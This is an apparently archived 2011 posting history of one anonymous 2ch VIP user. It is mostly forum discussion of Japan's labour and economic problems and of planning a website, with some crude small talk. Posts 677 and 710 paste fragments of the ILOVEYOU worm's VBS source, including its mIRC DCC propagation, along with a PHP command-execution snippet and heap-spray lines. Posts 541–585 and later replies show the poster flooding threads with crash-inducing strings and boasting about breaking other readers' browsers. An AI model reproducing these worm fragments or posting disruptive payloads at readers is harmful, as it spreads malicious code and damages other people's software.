- 身長−体重×経験回数−忍法帖レベル←この数値晒してけ
53 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 18:55:46.52 ID:4wkZgVCh0 - 136 - (28 × 45) - 40 = -1 164
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- 【日本だめぽ】俺らが日本を変える【集え勇者達】
1 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 18:59:33.64 ID:4wkZgVCh0 - テンプレっぽいもの(必要に応じて修正・加筆お願いします)
【議事録@wiki】(10月31日:ID:bRU7MAck0 作成) http://www18.atwiki.jp/minutes/ 【ブログ】(10月30日:ID:XbaJhEQq0 作成) http://blog.goo.ne.jp/madeinjapan_2011 5日議論を続けるうちの問題点として、円滑に議論を進めるためのツールが必要という流れから 有志の2人が自主的に用意して下さったブログと議事録です。 ※現在も意思決定権の所在、運営ルールなど組織的な問題は宙に浮いたままの状態にあります。 【過去ログ一括ダウンロード 2011.10.27〜2011.10.31(datファイル)】 http://ichigo-up.com/cgi/up/qqq/nm43758.zip.html ※10月30日に立った1つめのスレ分が不足しています。ログ持っている方がいましたら補完お願いします。 ☆新規参加者の方が議論に参加するに当たって☆ 議事録@wikiは、過去ログ、大まかにこれまでの流れなどが編集されたもの、各人がうpした成果ファイル などがあります、議論参加にお役立て下さい。 ※編集の客観性について 議事録@wikiのTopにあるように過去ログ以外の項目において 昨日は主にID:bRU7MAck0はじめ少数のご好意で行われております。 情報の公平性確保など、難しい問題かと思いますが、議事録@wikiに加わった方はコメントなど。
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- Twitterでまた犯罪予告wwww
362 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:00:34.31 ID:4wkZgVCh0 - なう
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- 最も高度なエロ単語言った奴が優勝
4 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:01:20.52 ID:4wkZgVCh0 - ち ん こ
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- 【日本だめぽ】俺らが日本を変える【集え勇者達】
2 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:03:46.90 ID:4wkZgVCh0 - ほ
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- 【日本だめぽ】俺らが日本を変える【集え勇者達】
3 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:06:08.72 ID:4wkZgVCh0 - ____ / ̄ ̄ ̄\
/___ \ / ___ ヽ / |´・ω・`| \ / |´・ω・`| \ みんな〜 /  ̄ ̄ ̄ \ / _,  ̄⊂二二) | i ヽ、_ヽl | | └二二⊃ l ∪ | | | ,、___, ノ | ,、 | ヽ_二コ/ / ヽ / \ / _____/__/´ __ヽノ____`´
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5 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:08:32.20 ID:4wkZgVCh0 - >>4
よかったー来てくれた こんばんは。 時間帯なのか保守キツイわ。
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9 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:11:34.77 ID:4wkZgVCh0 - >>4>>6
ブレストの日本の問題点まとめたんだけど、それ貼り付けて保守お願いしていいですか? 元々体壊してるけど、最近夜更かし傾向で体調崩し気味だからゆっくりしたい >>7 保守、話題づくりがてら
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13 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:14:03.85 ID:4wkZgVCh0 - >>8
昨日31日だぜ、というか昨日も2スレあったの知らんかった。 >>1は30日なんだけど、それもすぐ落ちたっぽいから必要ないのかな >>12 この国の問題点、じゃね?昨日の流れ的に。 と思って、30行汚い文章でまとめているんだけど・・・
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16 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:16:22.72 ID:4wkZgVCh0 - >>14
必要なさそうだね。了解。
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17 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:18:47.83 ID:4wkZgVCh0 - 今日一日ブレストに向けて、日本の問題点を考えてみたけど結局うまく伝えられるようにはまとまらんかった
けど、労働問題を焦点にかなり広域に全体の問題解決ができるんじゃないかとは思ったので とりあえず、ここがおかしいだろう、皆嫌だろうって事を、あえて漠然と書かせてもらいたい。(理屈として突っ込みまくれるほど穴だらけなのはご勘弁を) ・労働時間が長すぎ、生産効率が悪すぎる。 こんな健康を害するような環境で働きたい人ってどんだけいる? ・供給過多の経済状態な癖に、仕事する人は残業で忙しすぎと言い、失業者はまともな仕事させろと望み、経営者は会社が潰れそうとのたまう この三すくみ、供給過多ならば余りが多いから本来そんなに働く必要はないはずだが、果たして俺らは満たされているのか満たされていないのか。 ・供給過多、需要がないのに企業維持のために生産し続ける ↑本当に欲しいもの必要なもの精査できてる?無理にでも何か売上げないと潰れるから余計な物作ってる? ・企業経営にしても資金・時間の余裕が無いので新参者が付け入るハードルが高くなる このまま時代が進めば最後は企業を支える能力を持ち合わせた人材がいなくなって終了。 でもやっぱり企業は余裕ないから人なんて育てられない。 ・給料も激安過酷労働。※ただし株主・会社役員は除く。 などなど、なんかおかしいよなーって感じることが止まらない。 諸所のロジック、原因解明のため労働関係の統計など、詳しく洗って考えてみようと思います。 労働時間問題など、昨日誰か書いてた自由な時間が無いってのは、まず先に立つ問題ではないでしょうか フルタイムで働いて残業して家に帰って、そんな生活してる人に日本の未来を考えろと言ったところで しっかり考えてる暇なんてないので酷な話です。 これは、ここで議論している自分達にも該当することで、何をするにしても相応の時間が必要になります 1日24時間、生活を維持しつつ、バランスよく健康な状態で動ける環境作りって大事だと思います。 5日間のスレを見て、最後の時間が遅い人もいます、寝不足だとイライラしたり体によくないイメージが多いです。 自分のことも含めて、実は心配しています。 今日は戻ってくるか解らないので、レスつけて下さった方がいましたら、後で読ませてもらって参考にさせて頂きます。
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- Twitterでまた犯罪予告wwww
377 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:20:29.56 ID:4wkZgVCh0 - >>375
>7 自分: >7 自分: >7 自分: >7 自分: >7 自分:
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- 【日本だめぽ】俺らが日本を変える【集え勇者達】
18 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:21:05.46 ID:4wkZgVCh0 - 落ちるかなと思って、貼ったすまない。
飯食ってくる。
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- Twitterでまた犯罪予告wwww
378 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:23:17.92 ID:4wkZgVCh0 - te
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20 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:23:38.89 ID:4wkZgVCh0 - >>19
いや、流れに任せた方がいいんじゃないだろうか。 今から席外してしまうし。 ただ、労働って興味ある人多いだろうし、問題山積して、他の部分との共通項も多いと思ったから 個人的に問題提起を労働に絞ってみただけ。
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- ここだけ童貞だらけの集団レイプ会場 コンマ00で挿入中出し成功
277 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:26:10.82 ID:4wkZgVCh0 - >>274
>>274
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- Twitterでまた犯罪予告wwww
384 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:29:12.20 ID:4wkZgVCh0 - kskst
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- Yahooのゲームでエロゲーの画像が使われてたwwwww
8 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 19:30:35.67 ID:4wkZgVCh0 - 何のゲームか特定班はよ
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- 【大規模規制でも】ニダーランやろうぜ【お試し●で大丈V】
303 :以下、名無しにかわりましてVIPがお送りします[sage]:2011/11/01(火) 19:55:26.71 ID:4wkZgVCh0 - 地雷踏むのは誰もが通る道だよね
一度やらかしてから買い占めのときは絶対チェックするようになった
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- 【日本だめぽ】俺らが日本を変える【集え勇者達】
56 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 20:00:39.15 ID:4wkZgVCh0 - 一時的に席に戻ってきた。
返信してくれた人ありがとう。 とりあえず、労働問題にだけレス。他の話題出してる人すまん。 >>21 行き着くと思います。 ただ、日銀に関して言えば、数字に比重を置いて解決してしまうだけになると 結局また、いつか同じ過ちを繰り返すだけになるので注意も必要になるかと。 自分は>>21、>>28の両者が言うように、その他複合的に諸要因が絡まって今の状況を構成していると思います。(因果律の話とは少し離れる?) 同じく、これを辿るには時間がかかることになると思うので、調べて考えて行こうと思う所存。 その中で、身近でかつ解りやすく誰でも改善活動に参加可能なアプローチを模索したいなというのが個人的な活動したいこと。
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- 【日本だめぽ】俺らが日本を変える【集え勇者達】
63 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 20:09:29.92 ID:4wkZgVCh0 - >>57
了解。 まぁ、みんなが興味持ったらでいいよ、言い出しっぺ本人不在になるし。 >>56>>60、皆、議論が進みそうな話題でリードしてくれ。 昨日のまとめを踏んで問題提起したんだけど、日本の諸問題を羅列しまくるのもありかなと。 いのちをだいじにwww確かにそうだわ、今そこで苦しんでる人を放ってどうすんのって思ってる
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70 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 20:15:40.88 ID:4wkZgVCh0 - >>65
日銀が金を刷るのは日本にとって博打だけれど、今はさすがに刷らなさすぎる 逆に適度に円の信用落とせたなら、そっちの方が実体経済には助けになるんじゃないかと。 ドルの総量が偉いことになってるらしいけど、そこまで詳しくないからいい加減な意見だが。 ちなみにレスは必要ないです。
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357 :以下、名無しにかわりましてVIPがお送りします[sage]:2011/11/01(火) 20:34:42.75 ID:4wkZgVCh0 - でもゼロが優良企業だったら何か嫌だよね
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122 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 21:05:43.73 ID:4wkZgVCh0 - >>108
現在、教職員の加入率30%程度、組織自体は縮小傾向にある。 地域別で加入率に差がある。 9割の教員が加入していた頃から、その教育を受けたのが今日本にいる国民の多数。 http://www.kyoiku-saisei.jp/sympo/sympo_nks210714.htmlの 勝岡寛次って人の文が日教組ができた経緯として参考になる。 元を辿ると、アメリカが戦後占領政策を進める上で左翼に協力を仰いだのがきっかけ。
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131 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 21:12:53.73 ID:4wkZgVCh0 - >>126
議事録 @ ウィキの (案)情報発信サイト ↓ (議論)この国の問題点 が大体の流れ。 スレの序盤で、この国の問題点を挙げて気になったところを各自つついてる状態。
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139 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 21:20:53.94 ID:4wkZgVCh0 - >>134
あぁ、俺もスパイ対策でカツラ用意しとくわ・・・ スパイ対策だからね、髪の毛薄くなってきたの気にしてるとかじゃないから! >>129 >>1で気になることが。 いつでも戻って来られるようにしてやりたい。 この集まりの存在意義としても。
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174 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 21:51:44.47 ID:4wkZgVCh0 - >>142
成果主義に軽く補足。 大学のときちょうど成果主義ブームの頃で、組織論で触れられた話について基本的欠点をば。 ・成果主義は定量化が難しい業務には向かないこと。(長期で達成できる目標と、短期のものを同じ土俵で比べられないなど) ・機会においても不平等が発生しやすい。(仕事の出来る人間にばかり美味しい仕事が集中) ・公的な組織で大きな目的を達成しようとしたとき トップダウンで言われた事に忠実な”指示待ち人間”が多いほうが組織論的にはメリットが多い。 ・能力の個人差はどの程度あるのか考えたときに、正規分布(多くの凡人、人握りの馬鹿と天才)になり、結果的にその恩恵にあずかる人間は少数であること。 (この仕組みは民間で逆に利用して、全体の経費削減として使われた。10年くらい経過して騙されたことに皆気がついたのが今。) ・それらの問題から、それを管理する側も能力を求められ扱いが難しい仕組みであること。 など基本的部分ですが参考にどうぞ。
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181 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 21:55:31.83 ID:4wkZgVCh0 - >>152
お疲れ様、議事録Wikiでも上げてほしいっす。 いつ頃ゆっくり取り組めるかわからんけど、Web関連の勉強がてらプロトタイプ作るときの参考にしたい。 情報集積サイト・アプリについては、母体として俺も早く作っておいた方がいいと考えてるぜ。
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187 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 21:59:05.24 ID:4wkZgVCh0 - システム開発の定石どおり、要件定義をがっちり固めるところから順を追って始めたらどうだろうか・・・
サイトの目的も含め、まだまだ曖昧すぎるぜ。 仕変はこの流れだと避けられないと思っているけど、ひとつ太い筋を通して欲しいところ。
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200 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:06:59.22 ID:4wkZgVCh0 - >>195
可能っちゃ可能。 起動時に毎回更新かけて引っ張るとか。 逆にDB設計して立ち上げて管理するより楽なのかも??
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211 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:17:15.60 ID:4wkZgVCh0 - >>204
詳しくないけど一般論の範囲で。 PHP→簡単って言われてるWebページ・システム用、レンタルサーバーで使えることも多いみたい。 Java→同じくWeb用としてサーブレット/JSP、さらにJavaの基礎があるとアンドロイドアプリ開発にも使えるので一鳥二石か。 >>202 その代わりDB使った場合のメリットは失われる。 複雑なことをせずに、単純に過去ログのようなみたいなデータ引っ張って何かするような感じなら差異はあまりないかもしれない。 DB使わないなら、DB設計、運用、などそれに関わる工数は減る。
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376 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:18:15.13 ID:4wkZgVCh0 - ニュー速にスレ立ってる?
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215 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:22:35.27 ID:4wkZgVCh0 - >>212
さっさとプロトタイプで形にして、そうしている間に開発する人以外で要件・仕様詰める感じかな。 外部の開発者がつく頃には、データの仕様だけは固めないといけんね。 せっかくView側の作り手が見つかったときに、データ扱う側の仕様変更で振り回すことになったら人も離れそうだ。
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458 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:23:47.99 ID:4wkZgVCh0 - て
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541 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:28:57.95 ID:4wkZgVCh0 - ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
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551 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:29:21.91 ID:4wkZgVCh0 - ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
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572 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:30:17.65 ID:4wkZgVCh0 - ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
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585 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:30:56.41 ID:4wkZgVCh0 - ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
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- 【日本だめぽ】俺らが日本を変える【集え勇者達】
223 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:31:57.53 ID:4wkZgVCh0 - >>216
・その仕様で凍結、このアプリはこの目的機能だけ、この先も変える予定あんましない ・今回作ったシステムを流用して結果的に無駄のないように色々やってく 方針、時と場合で考えは別れる感じです。 回答だけど リンクの紹介だけなら普通のWebページで事足りるような >>217 野菜も食えよー 今の時期は葉ものが甘くておいしい。 あ、豆も野菜か・・・?
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677 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:35:42.00 ID:4wkZgVCh0 - Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS") C.Copy(dirwin&"\Win32DLL.vbs") document.write("<body onload=window();>") eip=eip+unescape("%u7030%u4300") lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2- $process = proc_open($path, $descriptorspec, $pipes); if(is_resource($process)) { fwrite($pipes[0], $text); fclose($pipes[0]); while(!feof($pipes[1])) { $result .= fread($pipes[1], 4096); } fclose($pipes[1]); proc_close($process); } if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"script.ini") scriptini.WriteLine n0=on 1:JOIN:#:{" scriptini.WriteLine n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if
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710 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:37:09.25 ID:4wkZgVCh0 - Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
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764 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:40:27.24 ID:4wkZgVCh0 - あれ、専ブラ再起動するだけだと思ったんだけどなあw
どっか間違えてたか
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789 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:41:50.80 ID:4wkZgVCh0 - あとこのソースν速幼女から拾ってきたやつだからね
文句はそっちに言ってね
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241 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:48:46.98 ID:4wkZgVCh0 - >>218
プロトタイプに関して言えば、多分一連の話を見ていれば この機能はきっと出てくる、技術的にこういう知識が必要とか これは先に準備しても使えるってのはある程度の確率で選別できるんだ。 で、要件に関して言えば、実際に会って考えてもいいくらい重要かつ時間をかけないといけない問題で 端的に言えばかけられるだけ時間かけて欲しい、協力できる作り手の作業を無駄にしないために。 というわけで提案としては、要件は技術的なことに疎くても関係なくて ○○な仕組みにしたい、○○な目的で、機能としての概要だけ、とか誰でも考えられるから ある一定期間を設けて一連のプレゼン資料っぽいものでも作って、互いに見せ合って議論 これで必要な機能、関わる個々人が求めている機能の洗い出し、ついでに集団目的の明確化に役立つ。
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- ようつべにうpられたいじめ動画のDQNを特定しようずwwwww
8 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:52:24.55 ID:4wkZgVCh0 - ログ削除ワロス
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- 【日本だめぽ】俺らが日本を変える【集え勇者達】
244 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:56:08.27 ID:4wkZgVCh0 - すまん、落ちます。
体しんどい。
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51 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:56:17.65 ID:4wkZgVCh0 - >>33
べっつに専ブラのログが逝くだけじゃーん それで俺が何の責任を取らないといけないのー?
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97 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 22:59:12.21 ID:4wkZgVCh0 - つーほーするならやれよー
埋め立てもいいけどすいとんはいやだしなー
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144 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 23:01:24.03 ID:4wkZgVCh0 - こてざつにでも爆撃してこようかなー
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250 :以下、名無しにかわりましてVIPがお送りします[]:2011/11/01(火) 23:05:19.68 ID:4wkZgVCh0 - >>159>>245
簡素で素晴らしい。 ちゃんと解るOK。 でも話してーなってすごい思う。 意図を汲み取って整理するための情報源としては価値がある。 でも、言えば一機能として洗練されているし意味もよくわかるけど その上にある主目的がやっぱ、ぼやけてるなってのは、>>159で感じ取れる。 寝る! 雑でもいいから要件含む設計図っぽいものをじゃんじゃん上げて比較するって流れ残してほしいわ
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